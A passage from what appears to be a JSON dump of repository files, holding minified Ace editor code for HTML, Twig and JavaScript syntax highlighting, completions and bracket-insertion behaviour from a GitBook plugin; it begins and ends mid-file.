",\"&trade;\",\"&Uacute;\",\"&uacute;\",\"&uArr;\",\"&uarr;\",\"&Ucirc;\",\"&ucirc;\",\"&Ugrave;\",\"&ugrave;\",\"&uml;\",\"&upsih;\",\"&Upsilon;\",\"&upsilon;\",\"&Uuml;\",\"&uuml;\",\"&weierp;\",\"&Xi;\",\"&xi;\",\"&Yacute;\",\"&yacute;\",\"&yen;\",\"&Yuml;\",\"&yuml;\",\"&Zeta;\",\"&zeta;\",\"&zwj;\",\"&zwnj;\"];return i.map(function(e){return{caption:e,snippet:e.substr(1),meta:\"html entity\",score:Number.MAX_VALUE}})}}).call(h.prototype),t.HtmlCompletions=h}),define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),define(\"ace/mode/twig_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/html_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./html_highlight_rules\").HtmlHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=function(){s.call(this);var e=\"autoescape|block|do|embed|extends|filter|flush|for|from|if|import|include|macro|sandbox|set|spaceless|use|verbatim\";e=e+\"|end\"+e.replace(/\\|/g,\"|end\");var t=\"abs|batch|capitalize|convert_encoding|date|date_modify|default|e|escape|first|format|join|json_encode|keys|last|length|lower|merge|nl2br|number_format|raw|replace|reverse|slice|sort|split|striptags|title|trim|upper|url_encode\",n=\"attribute|constant|cycle|date|dump|parent|random|range|template_from_string\",r=\"constant|divisibleby|sameas|defined|empty|even|iterable|odd\",i=\"null|none|true|false\",o=\"b-and|b-xor|b-or|in|is|and|or|not\",u=this.createKeywordMapper({\"keyword.control.twig\":e,\"support.function.twig\":[t,n,r].join(\"|\"),\"keyword.operator.twig\":o,\"constant.language.twig\":i},\"identifier\");for(var a in this.$rules)this.$rules[a].unshift({token:\"variable.other.readwrite.local.twig\",regex:\"\\\\{\\\\{-?\",push:\"twig-start\"},{token:\"meta.tag.twig\",regex:\"\\\\{%-?\",push:\"twig-start\"},{token:\"comment.block.twig\",regex:\"\\\\{#-?\",push:\"twig-comment\"});this.$rules[\"twig-comment\"]=[{token:\"comment.block.twig\",regex:\".*-?#\\\\}\",next:\"pop\"}],this.$rules[\"twig-start\"]=[{token:\"variable.other.readwrite.local.twig\",regex:\"-?\\\\}\\\\}\",next:\"pop\"},{token:\"meta.tag.twig\",regex:\"-?%\\\\}\",next:\"pop\"},{token:\"string\",regex:\"'\",next:\"twig-qstring\"},{token:\"string\",regex:'\"',next:\"twig-qqstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:u,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator.assignment\",regex:\"=|~\"},{token:\"keyword.operator.comparison\",regex:\"==|!=|<|>|>=|<=|===\"},{token:\"keyword.operator.arithmetic\",regex:\"\\\\+|-|/|%|//|\\\\*|\\\\*\\\\*\"},{token:\"keyword.operator.other\",regex:\"\\\\.\\\\.|\\\\|\"},{token:\"punctuation.operator\",regex:/\\?|\\:|\\,|\\;|\\./},{token:\"paren.lparen\",regex:/[\\[\\({]/},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"text\",regex:\"\\\\s+\"}],this.$rules[\"twig-qqstring\"]=[{token:\"constant.language.escape\",regex:/\\\\[\\\\\"$#ntr]|#{[^\"}]*}/},{token:\"string\",regex:'\"',next:\"twig-start\"},{defaultToken:\"string\"}],this.$rules[\"twig-qstring\"]=[{token:\"constant.language.escape\",regex:/\\\\[\\\\'ntr]}/},{token:\"string\",regex:\"'\",next:\"twig-start\"},{defaultToken:\"string\"}],this.normalizeRules()};r.inherits(u,o),t.TwigHighlightRules=u}),define(\"ace/mode/twig\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/twig_highlight_rules\",\"ace/mode/matching_brace_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./twig_highlight_rules\").TwigHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=function(){i.call(this),this.HighlightRules=s,this.$outdent=new o};r.inherits(u,i),function(){this.blockComment={start:\"{#\",end:\"#}\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/twig\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-typescript.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return 